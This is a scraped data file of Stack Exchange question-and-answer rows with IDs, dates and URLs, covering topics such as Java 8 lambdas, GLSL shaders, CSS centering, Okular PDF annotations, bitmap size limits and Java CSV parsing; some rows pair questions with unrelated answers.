I share ZJR's opinion that you should stick to what is available today and develop for Java 6 or 7, if that is what you are using now: always use the tools that you have now for what they are, not for what they might be in the future. I would add that if you really like anonymous functions and other functional-languag...
187,445
I'll be specific: Java 8 is promised to bring lambda expressions as well as method and constructor references among other things. As a Java developer I'm super psyched about that. In my day to day programming I see more and more opportunities where using these features would greatly simplify code that would otherwise ...
2013/02/18
[ "https://softwareengineering.stackexchange.com/questions/187445", "https://softwareengineering.stackexchange.com", "https://softwareengineering.stackexchange.com/users/57674/" ]
I agree with @ZJR's answer, but if you want to go ahead you can probably encapsulate this into a `MethodReference` class of some sort. With luck you might be able to gain type safety by juggling just one place when Java 8 comes along. Boost basically does this before C++11. Certain features closely resembles the propo...
I think the answer to this question most likely depends upon the situation in particular which you're dealing with. In terms of "day to day programming," does this consist of your job? Hobbyist/personal work, perhaps? If it's the latter, I don't necessarily think it to be a poor idea to look ahead in regards to refacto...
187,445
I'll be specific: Java 8 is promised to bring lambda expressions as well as method and constructor references among other things. As a Java developer I'm super psyched about that. In my day to day programming I see more and more opportunities where using these features would greatly simplify code that would otherwise ...
2013/02/18
[ "https://softwareengineering.stackexchange.com/questions/187445", "https://softwareengineering.stackexchange.com", "https://softwareengineering.stackexchange.com/users/57674/" ]
I share ZJR's opinion that you should stick to what is available today and develop for Java 6 or 7, if that is what you are using now: always use the tools that you have now for what they are, not for what they might be in the future. I would add that if you really like anonymous functions and other functional-languag...
I think the answer to this question most likely depends upon the situation in particular which you're dealing with. In terms of "day to day programming," does this consist of your job? Hobbyist/personal work, perhaps? If it's the latter, I don't necessarily think it to be a poor idea to look ahead in regards to refacto...
73,158,157
I have an Nginx server which will host a few websites that are being migrated from an Apache server. One of the things I've been trying to figure out is how to include additional directories to look at when files are being called. In Apache I can include the following in the vhost: > > php\_value include\_path /sit...
2022/07/28
[ "https://Stackoverflow.com/questions/73158157", "https://Stackoverflow.com", "https://Stackoverflow.com/users/16855924/" ]
Not totally clear on your requirements but something like this should be close enough. ``` select convert(decimal(15,4), convert(varchar(10), VALUE_A) + '.' + convert(varchar(4), VALUE_B) + '00') ```
One possible solution which appears to give the right answer. It assumes that the base data types for `VALUE_A` and `VALUE_B` are in the `int` family, as in the dbfiddles linked in the comments: ``` SELECT SUM(CONVERT(decimal(20,4), VALUE_A + (VALUE_B * 0.01))) FROM X WHERE ID = 1 ``` [dbfiddle](https://dbfiddl...
73,158,157
I have an Nginx server which will host a few websites that are being migrated from an Apache server. One of the things I've been trying to figure out is how to include additional directories to look at when files are being called. In Apache I can include the following in the vhost: > > php\_value include\_path /sit...
2022/07/28
[ "https://Stackoverflow.com/questions/73158157", "https://Stackoverflow.com", "https://Stackoverflow.com/users/16855924/" ]
Not totally clear on your requirements but something like this should be close enough. ``` select convert(decimal(15,4), convert(varchar(10), VALUE_A) + '.' + convert(varchar(4), VALUE_B) + '00') ```
I think that what you need is something like this. But be careful, it only works if `value_b` is always 2 digits: ``` DECLARE @start TABLE ( VALUE_A INT, VALUE_B INT, ID INT ) INSERT INTO @start VALUES (2031323, 22, 1) , (3371331, 75, 1) , (4399213, 52, 1) , (4910001, 46, ...
73,158,157
I have an Nginx server which will host a few websites that are being migrated from an Apache server. One of the things I've been trying to figure out is how to include additional directories to look at when files are being called. In Apache I can include the following in the vhost: > > php\_value include\_path /sit...
2022/07/28
[ "https://Stackoverflow.com/questions/73158157", "https://Stackoverflow.com", "https://Stackoverflow.com/users/16855924/" ]
One possible solution which appears to give the right answer. It assumes that the base data types for `VALUE_A` and `VALUE_B` are in the `int` family, as in the dbfiddles linked in the comments: ``` SELECT SUM(CONVERT(decimal(20,4), VALUE_A + (VALUE_B * 0.01))) FROM X WHERE ID = 1 ``` [dbfiddle](https://dbfiddl...
I think that what you need is something like this. But be careful, it only works if `value_b` is always 2 digits: ``` DECLARE @start TABLE ( VALUE_A INT, VALUE_B INT, ID INT ) INSERT INTO @start VALUES (2031323, 22, 1) , (3371331, 75, 1) , (4399213, 52, 1) , (4910001, 46, ...
61,817
I'm writing a shader for rendering the sides of triangles with different colors. I have a value `mediump float back = dot(V, N)` which is positive if the normal faces away from the camera and negative if towards the camera. To correctly select which diffuse color to shade a particular fragment, I need something like t...
2013/09/06
[ "https://gamedev.stackexchange.com/questions/61817", "https://gamedev.stackexchange.com", "https://gamedev.stackexchange.com/users/6215/" ]
As you say, the two formulas don't behave the same way mathematically. So if it makes a difference to the visuals, your first priority should be to pick the one that gives you the better-looking result. Both formulas will be a single instruction on the vast majority of GPUs. `x * 0.5 + 0.5` can be done with a `mad` (m...
`step` is what you are really looking for. `step(0.0, back): = 1.0` if `(0 < back)`, or `0.0` otherwise. So the lines become: ``` lowp float aux = step(0.0,back); lowp vec4 color = (1.0-aux) * frontdiffuse + aux * back_diffuse; ``` For a more elegant (and maybe optimized) version with `mix`: ``` lowp vec4 color = ...
52,627,905
I have got `json` file and I don't know how to convert it. I'm trying use `stringily` or `parse` but it doesn't work. See my `json` data below: ``` first: { 'big': { 'letter': 'let', 'Can go walk': 'CGW', 'something': 'smthg' }, 'low': { 'call_me': 'call me', 'jus...
2018/10/03
[ "https://Stackoverflow.com/questions/52627905", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8082386/" ]
The JSON standard is to use double quotes, JS's `JSON.parse()` function will now work with single quotes. Try this instead: ```js var x = JSON.parse('{"big": {}, "low": {}}') var arr = [x["big"], x["low"]] ```
``` Jquery cs code: SqlConnection con = new SqlConnection(ConfigurationManager.ConnectionStrings["DBCS"].ConnectionString); [WebMethod] public string GetCountry() { string _data = ""; con.Open(); ...
52,627,905
I have got `json` file and I don't know how to convert it. I'm trying use `stringily` or `parse` but it doesn't work. See my `json` data below: ``` first: { 'big': { 'letter': 'let', 'Can go walk': 'CGW', 'something': 'smthg' }, 'low': { 'call_me': 'call me', 'jus...
2018/10/03
[ "https://Stackoverflow.com/questions/52627905", "https://Stackoverflow.com", "https://Stackoverflow.com/users/8082386/" ]
An alternative solution (it's messy) ```js const json = { first: { 'big': { 'letter': 'let', 'Can go walk': 'CGW', 'something': 'smthg' }, 'low': { 'call_me': 'call me', 'just_do_it': 'just do it' } } } let arr = [{}] for (let prop_lv0 in json) { arr[0][prop_lv0] = [{}...
``` Jquery cs code: SqlConnection con = new SqlConnection(ConfigurationManager.ConnectionStrings["DBCS"].ConnectionString); [WebMethod] public string GetCountry() { string _data = ""; con.Open(); ...
40,965,314
Here is an **h3** inside a **div** (using inline styles which I know is bad). ```html <div style="background-color: rgb(238, 238, 238); width: 500px; height: 36pt; text-align: center;"> <h3 style="font-family: Helvetica;">Hello World!</h3></div> ``` How can I center the **h3** tag inside the **div**?
2016/12/05
[ "https://Stackoverflow.com/questions/40965314", "https://Stackoverflow.com", "https://Stackoverflow.com/users/737051/" ]
For easy centering vertically you can set the `H3` `line-height` the same as the height of the container (if known). In this case, we do (as you have set it to 36pt), i.e : `line-height: 36pt` **Line-height Example:** ```html <div style="background-color: rgb(238, 238, 238); width: 500px; height: 36pt; text-align: c...
You can add line-height: 36pt to h3 tag. ``` <div style="background-color: rgb(238, 238, 238); width: 500px; height: 36pt; text-align: center;"> <h3 style="font-family: Helvetica; line-height: 36pt">Hello World!</h3></div> ```
40,965,314
Here is an **h3** inside a **div** (using inline styles which I know is bad). ```html <div style="background-color: rgb(238, 238, 238); width: 500px; height: 36pt; text-align: center;"> <h3 style="font-family: Helvetica;">Hello World!</h3></div> ``` How can I center the **h3** tag inside the **div**?
2016/12/05
[ "https://Stackoverflow.com/questions/40965314", "https://Stackoverflow.com", "https://Stackoverflow.com/users/737051/" ]
You can add line-height: 36pt to h3 tag. ``` <div style="background-color: rgb(238, 238, 238); width: 500px; height: 36pt; text-align: center;"> <h3 style="font-family: Helvetica; line-height: 36pt">Hello World!</h3></div> ```
you can add `line-height` which depends on the height of your `<div>` ```html <div style="background-color: rgb(238, 238, 238); width: 500px; height: 36pt; text-align: center;"> <h3 style="font-family: Helvetica; line-height: 36pt">Hello World!</h3> </div> ``` take a look at this [example fiddle](https://fiddle....
40,965,314
Here is an **h3** inside a **div** (using inline styles which I know is bad). ```html <div style="background-color: rgb(238, 238, 238); width: 500px; height: 36pt; text-align: center;"> <h3 style="font-family: Helvetica;">Hello World!</h3></div> ``` How can I center the **h3** tag inside the **div**?
2016/12/05
[ "https://Stackoverflow.com/questions/40965314", "https://Stackoverflow.com", "https://Stackoverflow.com/users/737051/" ]
For easy centering vertically you can set the `H3` `line-height` the same as the height of the container (if known). In this case, we do (as you have set it to 36pt), i.e : `line-height: 36pt` **Line-height Example:** ```html <div style="background-color: rgb(238, 238, 238); width: 500px; height: 36pt; text-align: c...
you can add `line-height` which depends on the height of your `<div>` ```html <div style="background-color: rgb(238, 238, 238); width: 500px; height: 36pt; text-align: center;"> <h3 style="font-family: Helvetica; line-height: 36pt">Hello World!</h3> </div> ``` take a look at this [example fiddle](https://fiddle....
53,888,478
I have following table: ``` CREATE TABLE IF NOT EXISTS categories ( id SERIAL PRIMARY KEY, title CHARACTER VARYING(100) NOT NULL, description CHARACTER VARYING(200) NULL, category_type CHARACTER VARYING(100) NOT NULL ); ``` I am using `pg-promise`, and I want to provide optional update of columns: `...
2018/12/21
[ "https://Stackoverflow.com/questions/53888478", "https://Stackoverflow.com", "https://Stackoverflow.com/users/5431545/" ]
You could `coalesce` between the old and the new values: ``` UPDATE categories SET title=$2, category_type = COALESCE($3, category_type), description = COALESCE($4, description) -- etc... WHERE title = $1 ```
The [helpers](http://vitaly-t.github.io/pg-promise/helpers.html) syntax is best for any sort of dynamic logic with [pg-promise](https://github.com/vitaly-t/pg-promise): ``` /* logic for skipping columns: */ const skip = c => c.value === null || c.value === undefined; /* reusable/static ColumnSet object: */ const cs =...
71,584
The PDF viewer Okular (part of KDE desktop) has lots of nice features and supports lots of file formats. One of the things I like about it is the comments and annotations. Unfortunately, all of the comments and metadata (like last viewed page) get stored locally in: **~/.kde/share/apps/okular/docdata** Is there any wa...
2013/04/07
[ "https://unix.stackexchange.com/questions/71584", "https://unix.stackexchange.com", "https://unix.stackexchange.com/users/33435/" ]
This information is documented in [the okular documentation](http://docs.kde.org/stable/en/kdegraphics/okular/annotations.html). As alxs mentioned, a method supported for a while now is to save the PDF document as an archive, which creates a `.okular` file. Saving the annotations directly in the PDF is quite recent, a...
> > From okular faq: > > > **How can I annotate a document and send it to a friend/colleague/etc?** > > > Since KDE 4.2, Okular has the "document archiving" feature. This is an Okular-specific format for carrying the document plus various metadata related to it (currently only annotations). > You can save a "docum...
71,584
The PDF viewer Okular (part of KDE desktop) has lots of nice features and supports lots of file formats. One of the things I like about it is the comments and annotations. Unfortunately, all of the comments and metadata (like last viewed page) get stored locally in: **~/.kde/share/apps/okular/docdata** Is there any wa...
2013/04/07
[ "https://unix.stackexchange.com/questions/71584", "https://unix.stackexchange.com", "https://unix.stackexchange.com/users/33435/" ]
After making any annotation using Okular, Go the the Print option (in File Menu or Ctrl+P) and then in the **Name** option change the value to Print to File(PDF) and in the **Output file** option give the path of the output file you need. Voila, your annotations are now a part of your new PDF.
> > From okular faq: > > > **How can I annotate a document and send it to a friend/colleague/etc?** > > > Since KDE 4.2, Okular has the "document archiving" feature. This is an Okular-specific format for carrying the document plus various metadata related to it (currently only annotations). > You can save a "docum...
71,584
The PDF viewer Okular (part of KDE desktop) has lots of nice features and supports lots of file formats. One of the things I like about it is the comments and annotations. Unfortunately, all of the comments and metadata (like last viewed page) get stored locally in: **~/.kde/share/apps/okular/docdata** Is there any wa...
2013/04/07
[ "https://unix.stackexchange.com/questions/71584", "https://unix.stackexchange.com", "https://unix.stackexchange.com/users/33435/" ]
This information is documented in [the okular documentation](http://docs.kde.org/stable/en/kdegraphics/okular/annotations.html). As alxs mentioned, a method supported for a while now is to save the PDF document as an archive, which creates a `.okular` file. Saving the annotations directly in the PDF is quite recent, a...
Just use `file > print > printer name: print to file (PDF)`. Output file goes to your home by default. Your annotation should be there.
71,584
The PDF viewer Okular (part of KDE desktop) has lots of nice features and supports lots of file formats. One of the things I like about it is the comments and annotations. Unfortunately, all of the comments and metadata (like last viewed page) get stored locally in: **~/.kde/share/apps/okular/docdata** Is there any wa...
2013/04/07
[ "https://unix.stackexchange.com/questions/71584", "https://unix.stackexchange.com", "https://unix.stackexchange.com/users/33435/" ]
This information is documented in [the okular documentation](http://docs.kde.org/stable/en/kdegraphics/okular/annotations.html). As alxs mentioned, a method supported for a while now is to save the PDF document as an archive, which creates a `.okular` file. Saving the annotations directly in the PDF is quite recent, a...
After making any annotation using Okular, Go the the Print option (in File Menu or Ctrl+P) and then in the **Name** option change the value to Print to File(PDF) and in the **Output file** option give the path of the output file you need. Voila, your annotations are now a part of your new PDF.
71,584
The PDF viewer Okular (part of KDE desktop) has lots of nice features and supports lots of file formats. One of the things I like about it is the comments and annotations. Unfortunately, all of the comments and metadata (like last viewed page) get stored locally in: **~/.kde/share/apps/okular/docdata** Is there any wa...
2013/04/07
[ "https://unix.stackexchange.com/questions/71584", "https://unix.stackexchange.com", "https://unix.stackexchange.com/users/33435/" ]
This information is documented in [the okular documentation](http://docs.kde.org/stable/en/kdegraphics/okular/annotations.html). As alxs mentioned, a method supported for a while now is to save the PDF document as an archive, which creates a `.okular` file. Saving the annotations directly in the PDF is quite recent, a...
Current version of Okular allows one to save the PDF with the annotations by going into File -> Save As. However, I wanted something automated. So, I created an Autokey script so that whenever I close my PDF, the annotations are automatically saved in the PDF itself. Note that **this script will save your PDF overwrit...
71,584
The PDF viewer Okular (part of KDE desktop) has lots of nice features and supports lots of file formats. One of the things I like about it is the comments and annotations. Unfortunately, all of the comments and metadata (like last viewed page) get stored locally in: **~/.kde/share/apps/okular/docdata** Is there any wa...
2013/04/07
[ "https://unix.stackexchange.com/questions/71584", "https://unix.stackexchange.com", "https://unix.stackexchange.com/users/33435/" ]
After making any annotation using Okular, Go the the Print option (in File Menu or Ctrl+P) and then in the **Name** option change the value to Print to File(PDF) and in the **Output file** option give the path of the output file you need. Voila, your annotations are now a part of your new PDF.
Just use `file > print > printer name: print to file (PDF)`. Output file goes to your home by default. Your annotation should be there.
71,584
The PDF viewer Okular (part of KDE desktop) has lots of nice features and supports lots of file formats. One of the things I like about it is the comments and annotations. Unfortunately, all of the comments and metadata (like last viewed page) get stored locally in: **~/.kde/share/apps/okular/docdata** Is there any wa...
2013/04/07
[ "https://unix.stackexchange.com/questions/71584", "https://unix.stackexchange.com", "https://unix.stackexchange.com/users/33435/" ]
After making any annotation using Okular, Go the the Print option (in File Menu or Ctrl+P) and then in the **Name** option change the value to Print to File(PDF) and in the **Output file** option give the path of the output file you need. Voila, your annotations are now a part of your new PDF.
Current version of Okular allows one to save the PDF with the annotations by going into File -> Save As. However, I wanted something automated. So, I created an Autokey script so that whenever I close my PDF, the annotations are automatically saved in the PDF itself. Note that **this script will save your PDF overwrit...
14,889,099
I am new to serialization. I have a silly question: Why BinaryFormatter is named like BinaryFormatter and not BinarySerializer? To be more specific why isn't it called BinarySerializer if it is doing serialization ? What else does it do other than serialization of data, that it should be called a formatter?
2013/02/15
[ "https://Stackoverflow.com/questions/14889099", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1401198/" ]
Why *not*? Why would `BinarySerializer` be a better name? I wasn't privy to the deliberations of the API design team, but I suspect that it's called a "formatter" because it formats the data retrieved from or pushed out to a byte stream. You use the formatter as a helper object both when serializing and deserializing ...
Personally I agree with you - it would have at least been more consistent with `XmlSerializer`, and the (later) `DataContractSerializer`, `JavaScriptSerializer`, etc. Perhaps they felt it was different because it was used in remoting, but ultimately what it does is serialization and deserialization. However: *naming s...
4,800,524
I'm working on a very high-level domain specific language that deals with data analysis. There is virtual uniform agreement that one-based indexing is the way to go from a scientific perspective. Of course programmers hate this mismatch, but virtually all our users are used to using x[i] to denote the element i not ele...
2011/01/26
[ "https://Stackoverflow.com/questions/4800524", "https://Stackoverflow.com", "https://Stackoverflow.com/users/118402/" ]
Option 1: Burn an entry in your list. Set element 0 to a null value and all logical indexes start at 1. Option 2: Create your own wrapper for the list and have its getter and increment the index for you.
VB used to allow you to specify the base index of arrays, but that feature was never implemented in VB.NET. That said, you can actually create 1-based arrays in the CLR, but they will be slightly slower and largely incompatible with other CLR languages.
4,061,326
I have upload control on my asp.net page. I upload pictures in folder cars and they show in windows explorer when I open that folder (cars), but in Visual Sudio they act like they not include in project ( that is the reason why they don't show on image control which point to some of them. What did I make wrong ?
2010/10/31
[ "https://Stackoverflow.com/questions/4061326", "https://Stackoverflow.com", "https://Stackoverflow.com/users/486578/" ]
Uploading the images in the web application will never make any changes to your project. You will have to add them manually if you'll need them there. But generally these are pictures added by your user so the would just be in the file system - not really part of the solution, are they?
You have to click the refresh button at the top of the solution explorer in Visual Studio for it to show changes to the files.
4,061,326
I have upload control on my asp.net page. I upload pictures in folder cars and they show in windows explorer when I open that folder (cars), but in Visual Sudio they act like they not include in project ( that is the reason why they don't show on image control which point to some of them. What did I make wrong ?
2010/10/31
[ "https://Stackoverflow.com/questions/4061326", "https://Stackoverflow.com", "https://Stackoverflow.com/users/486578/" ]
Uploading the images in the web application will never make any changes to your project. You will have to add them manually if you'll need them there. But generally these are pictures added by your user so the would just be in the file system - not really part of the solution, are they?
You have to click Refresh button. Also ensure that "Show all files" icon is selected. And finally, you will have to right click on the files and select Include in Project. That way it would become part of your project. If I may ask, what exactly are you trying to achieve in your application? The reason I ask is, if th...
4,061,326
I have upload control on my asp.net page. I upload pictures in folder cars and they show in windows explorer when I open that folder (cars), but in Visual Sudio they act like they not include in project ( that is the reason why they don't show on image control which point to some of them. What did I make wrong ?
2010/10/31
[ "https://Stackoverflow.com/questions/4061326", "https://Stackoverflow.com", "https://Stackoverflow.com/users/486578/" ]
Uploading the images in the web application will never make any changes to your project. You will have to add them manually if you'll need them there. But generally these are pictures added by your user so the would just be in the file system - not really part of the solution, are they?
If you have choosen a webSITE then it will allow this, but not if a webPROJECT is selected. I didn't find this on net, but I had two projects, and the one which was allowing me to show uploaded files was a website.
4,061,326
I have upload control on my asp.net page. I upload pictures in folder cars and they show in windows explorer when I open that folder (cars), but in Visual Sudio they act like they not include in project ( that is the reason why they don't show on image control which point to some of them. What did I make wrong ?
2010/10/31
[ "https://Stackoverflow.com/questions/4061326", "https://Stackoverflow.com", "https://Stackoverflow.com/users/486578/" ]
If you have choosen a webSITE then it will allow this, but not if a webPROJECT is selected. I didn't find this on net, but I had two projects, and the one which was allowing me to show uploaded files was a website.
You have to click the refresh button at the top of the solution explorer in Visual Studio for it to show changes to the files.
4,061,326
I have upload control on my asp.net page. I upload pictures in folder cars and they show in windows explorer when I open that folder (cars), but in Visual Sudio they act like they not include in project ( that is the reason why they don't show on image control which point to some of them. What did I make wrong ?
2010/10/31
[ "https://Stackoverflow.com/questions/4061326", "https://Stackoverflow.com", "https://Stackoverflow.com/users/486578/" ]
If you have choosen a webSITE then it will allow this, but not if a webPROJECT is selected. I didn't find this on net, but I had two projects, and the one which was allowing me to show uploaded files was a website.
You have to click Refresh button. Also ensure that "Show all files" icon is selected. And finally, you will have to right click on the files and select Include in Project. That way it would become part of your project. If I may ask, what exactly are you trying to achieve in your application? The reason I ask is, if th...
790,787
I am trying to install Cisco's Packet Tracer to do some training on Ubuntu 16.04, I got through the install process but when I run it I get: ``` $ ./PacketTracer7 Segmentation fault (core dumped) ``` Now I usually try to google as much as I can before asking but there isn't much on the topic and this error doesn't ...
2016/06/23
[ "https://askubuntu.com/questions/790787", "https://askubuntu.com", "https://askubuntu.com/users/555610/" ]
Found a [solution here](http://www.atechnote.com/2016/09/how-to-run-packettracer-on-ubuntu-1604.html): There is a problem due to the mixture of QT versions on app folder and the system, so this method makes the packettracer to use the system libraries mostly. assuming default install dir /opt/pt 1- create a directo...
You need to run it the startup script "packettracer" so the packaged libraries get used.
21,239,904
I'm trying to create a jquery contact form that sends an ajax request when clicked. You can view it by visiting: <http://childrensplaza.mn>, and clicking the "click here to contact us button" When testing this out though, After I click "send inquiry", it takes a while for the success message to show up, and I'm able...
2014/01/20
[ "https://Stackoverflow.com/questions/21239904", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1292663/" ]
This is easy enough to handle by adding a class when submitted the first time, and checking if the class is applied to determine whether or not to process the form. If the button already has the class, do not continue to process. ``` if ( $(this).hasClass("pressed") ) return false; $(this).addClass("presse...
you can create a flag and control it with the ajax events beforeSend and complete ... ``` <script> $(function(){ $('#trigger').click(function(){ $('#overlay').fadeIn(500); $('#form').fadeIn(500); }); $('#overlay').click(function(){ $('#form').fadeOut(500); $('#overlay').fade...
50,372,240
I'm curious to know what is the maximum bitmap width and height independently of each other. I did find that the maximum size is 32768x32768, but is that just referencing a perfect square? Is 32768x32768 = 1,073,741,824 the total amount of pixels I can play with and I can rearrange those pixels among the width and heig...
2018/05/16
[ "https://Stackoverflow.com/questions/50372240", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7447607/" ]
I was able to figure out the answer to my initial questions. You are indeed able to work with any width and height as long as the total dimension stays within the maximum size specification. You may experience problem saving awkward dimensions (1 by 1,000,000), but if you only need to manipulate a bitmap, you can indee...
PNG and JPEG have no explicit limit on file size, whereas BMP has a limit of 32K by 32K pixels, which I believe is your problem here (some places state that it can also hold 2Gx2G, but I couldn't find anything related to those claims).
50,372,240
I'm curious to know what is the maximum bitmap width and height independently of each other. I did find that the maximum size is 32768x32768, but is that just referencing a perfect square? Is 32768x32768 = 1,073,741,824 the total amount of pixels I can play with and I can rearrange those pixels among the width and heig...
2018/05/16
[ "https://Stackoverflow.com/questions/50372240", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7447607/" ]
.bmps size is constrained by the max size of a uint32\_t, which is 4GB. Any dimensions are acceptable as long as the .bmp remains under 4GB. However, not all bitmaps are created equal. Monochrome bitmaps only need 1 bit per pixel, and also use a slightly smaller color pallet (8 bytes total) so can have a little more ...
PNG and JPEG have no explicit limit on file size, whereas BMP has a limit of 32K by 32K pixels, which I believe is your problem here (some places state that it can also hold 2Gx2G, but I couldn't find anything related to those claims).
50,372,240
I'm curious to know what is the maximum bitmap width and height independently of each other. I did find that the maximum size is 32768x32768, but is that just referencing a perfect square? Is 32768x32768 = 1,073,741,824 the total amount of pixels I can play with and I can rearrange those pixels among the width and heig...
2018/05/16
[ "https://Stackoverflow.com/questions/50372240", "https://Stackoverflow.com", "https://Stackoverflow.com/users/7447607/" ]
I was able to figure out the answer to my initial questions. You are indeed able to work with any width and height as long as the total dimension stays within the maximum size specification. You may experience problem saving awkward dimensions (1 by 1,000,000), but if you only need to manipulate a bitmap, you can indee...
.bmps size is constrained by the max size of a uint32\_t, which is 4GB. Any dimensions are acceptable as long as the .bmp remains under 4GB. However, not all bitmaps are created equal. Monochrome bitmaps only need 1 bit per pixel, and also use a slightly smaller color pallet (8 bytes total) so can have a little more ...
523,612
Sorry if I haven't worded the title very well, feel free to improve. Let me explain before I ask my question... We have purchased a [car carrier](https://www.petbarn.com.au/playmate-airline-spec-open-top-pet-carrier-white-grey-medium) (small version) for our dog and also purchased [some straps](https://rads.stackover...
2020/01/07
[ "https://physics.stackexchange.com/questions/523612", "https://physics.stackexchange.com", "https://physics.stackexchange.com/users/251125/" ]
The short answer to the question as posed in the title to your post is both. The purpose of the seatbelt is to restrain you so that you stop with the car thereby making your stopping distance the same as the car and greater than if you had no seatbelt. Without the seat belt your inertia keeps you moving forward at the...
I refer you Bob D's answer above for the physics. At the moment of impact, the carrier will move forward until it reaches the limit of the restraining straps. The straps then undergo a deformation (elastic and inelastic), over the scale of a few centimetres, that decelerates the load. This process is the same whether ...
523,612
Sorry if I haven't worded the title very well, feel free to improve. Let me explain before I ask my question... We have purchased a [car carrier](https://www.petbarn.com.au/playmate-airline-spec-open-top-pet-carrier-white-grey-medium) (small version) for our dog and also purchased [some straps](https://rads.stackover...
2020/01/07
[ "https://physics.stackexchange.com/questions/523612", "https://physics.stackexchange.com", "https://physics.stackexchange.com/users/251125/" ]
A body in motion has an inertia of motion by virtue of which it tries to maintain it's previous state of motion(both speed and direction). For example it is noticed that on suddenly applying brakes to stop we are jerked in forward direction which is due to the inertia of motion. Now when we are in enclosed space we mu...
The short answer to the question as posed in the title to your post is both. The purpose of the seatbelt is to restrain you so that you stop with the car thereby making your stopping distance the same as the car and greater than if you had no seatbelt. Without the seat belt your inertia keeps you moving forward at the...
523,612
Sorry if I haven't worded the title very well, feel free to improve. Let me explain before I ask my question... We have purchased a [car carrier](https://www.petbarn.com.au/playmate-airline-spec-open-top-pet-carrier-white-grey-medium) (small version) for our dog and also purchased [some straps](https://rads.stackover...
2020/01/07
[ "https://physics.stackexchange.com/questions/523612", "https://physics.stackexchange.com", "https://physics.stackexchange.com/users/251125/" ]
A body in motion has an inertia of motion by virtue of which it tries to maintain it's previous state of motion(both speed and direction). For example it is noticed that on suddenly applying brakes to stop we are jerked in forward direction which is due to the inertia of motion. Now when we are in enclosed space we mu...
I refer you Bob D's answer above for the physics. At the moment of impact, the carrier will move forward until it reaches the limit of the restraining straps. The straps then undergo a deformation (elastic and inelastic), over the scale of a few centimetres, that decelerates the load. This process is the same whether ...
523,612
Sorry if I haven't worded the title very well, feel free to improve. Let me explain before I ask my question... We have purchased a [car carrier](https://www.petbarn.com.au/playmate-airline-spec-open-top-pet-carrier-white-grey-medium) (small version) for our dog and also purchased [some straps](https://rads.stackover...
2020/01/07
[ "https://physics.stackexchange.com/questions/523612", "https://physics.stackexchange.com", "https://physics.stackexchange.com/users/251125/" ]
When your car drives head-on into an unyielding obstacle, the front end of the car will absorb energy by "crumpling." The relatively rigid passenger compartment will take somewhat more time to come to a stop than the front bumper will take, and so the passenger compartment *and anything that is rigidly attached to the ...
I refer you Bob D's answer above for the physics. At the moment of impact, the carrier will move forward until it reaches the limit of the restraining straps. The straps then undergo a deformation (elastic and inelastic), over the scale of a few centimetres, that decelerates the load. This process is the same whether ...
523,612
Sorry if I haven't worded the title very well, feel free to improve. Let me explain before I ask my question... We have purchased a [car carrier](https://www.petbarn.com.au/playmate-airline-spec-open-top-pet-carrier-white-grey-medium) (small version) for our dog and also purchased [some straps](https://rads.stackover...
2020/01/07
[ "https://physics.stackexchange.com/questions/523612", "https://physics.stackexchange.com", "https://physics.stackexchange.com/users/251125/" ]
A body in motion has an inertia of motion by virtue of which it tries to maintain it's previous state of motion(both speed and direction). For example it is noticed that on suddenly applying brakes to stop we are jerked in forward direction which is due to the inertia of motion. Now when we are in enclosed space we mu...
When your car drives head-on into an unyielding obstacle, the front end of the car will absorb energy by "crumpling." The relatively rigid passenger compartment will take somewhat more time to come to a stop than the front bumper will take, and so the passenger compartment *and anything that is rigidly attached to the ...
37,285,281
``` i.Notes, SUM(l.Discount) AS Dcount, i.DiscDate, i.DueDate, i.UIMth, i.UISeq, poj.Job, poj.Description, i.UniqueAttchID, i.ReviewerGroup AS RevGrp, SUM(l.GrossAmt) AS GrossAmt, v.PayTerms, dbo.HQPT.DiscRate, i.InvTotal, DATEDIFF(day,getdate(),i.DiscDate) AS DiscDays, --Trying to use the Dis...
2016/05/17
[ "https://Stackoverflow.com/questions/37285281", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6322474/" ]
Just skip all blank lines: ``` while ((line = br.readLine()) != null) { if( line.trim().isEmpty() ) { continue; } .... .... ``` The last line may contain some control characters (like new line, carriage return, EOF and others unvisible chars), in this case a simple String#trim() doesn'...
To skip blank lines you could try: ``` while ((line = reader.readLine()) != null) { if(line.length() > 0) { String[] data = line.split(","); /*Below is my latest attempt at fixing this,*/ /*but I've tried other things too.*/ if (data[0] == null || data[0].equals("")) { break; } ...
37,285,281
``` i.Notes, SUM(l.Discount) AS Dcount, i.DiscDate, i.DueDate, i.UIMth, i.UISeq, poj.Job, poj.Description, i.UniqueAttchID, i.ReviewerGroup AS RevGrp, SUM(l.GrossAmt) AS GrossAmt, v.PayTerms, dbo.HQPT.DiscRate, i.InvTotal, DATEDIFF(day,getdate(),i.DiscDate) AS DiscDays, --Trying to use the Dis...
2016/05/17
[ "https://Stackoverflow.com/questions/37285281", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6322474/" ]
Just skip all blank lines: ``` while ((line = br.readLine()) != null) { if( line.trim().isEmpty() ) { continue; } .... .... ``` The last line may contain some control characters (like new line, carriage return, EOF and others unvisible chars), in this case a simple String#trim() doesn'...
Instead of replace method use replaceAll method. Then it will work.
37,285,281
``` i.Notes, SUM(l.Discount) AS Dcount, i.DiscDate, i.DueDate, i.UIMth, i.UISeq, poj.Job, poj.Description, i.UniqueAttchID, i.ReviewerGroup AS RevGrp, SUM(l.GrossAmt) AS GrossAmt, v.PayTerms, dbo.HQPT.DiscRate, i.InvTotal, DATEDIFF(day,getdate(),i.DiscDate) AS DiscDays, --Trying to use the Dis...
2016/05/17
[ "https://Stackoverflow.com/questions/37285281", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6322474/" ]
`public String readLine()` will read a line from your file, even empty lines. Thus, when you split your line, as in `String[] data = line.split(",");` you get an array of size 1. Why not try : ``` if (data.length >= 7) { System.out.println(data[0] + " - " + data[6]); int changeId = Integer.parseInt(data[0]); ...
To skip blank lines you could try: ``` while ((line = reader.readLine()) != null) { if(line.length() > 0) { String[] data = line.split(","); /*Below is my latest attempt at fixing this,*/ /*but I've tried other things too.*/ if (data[0] == null || data[0].equals("")) { break; } ...
37,285,281
``` i.Notes, SUM(l.Discount) AS Dcount, i.DiscDate, i.DueDate, i.UIMth, i.UISeq, poj.Job, poj.Description, i.UniqueAttchID, i.ReviewerGroup AS RevGrp, SUM(l.GrossAmt) AS GrossAmt, v.PayTerms, dbo.HQPT.DiscRate, i.InvTotal, DATEDIFF(day,getdate(),i.DiscDate) AS DiscDays, --Trying to use the Dis...
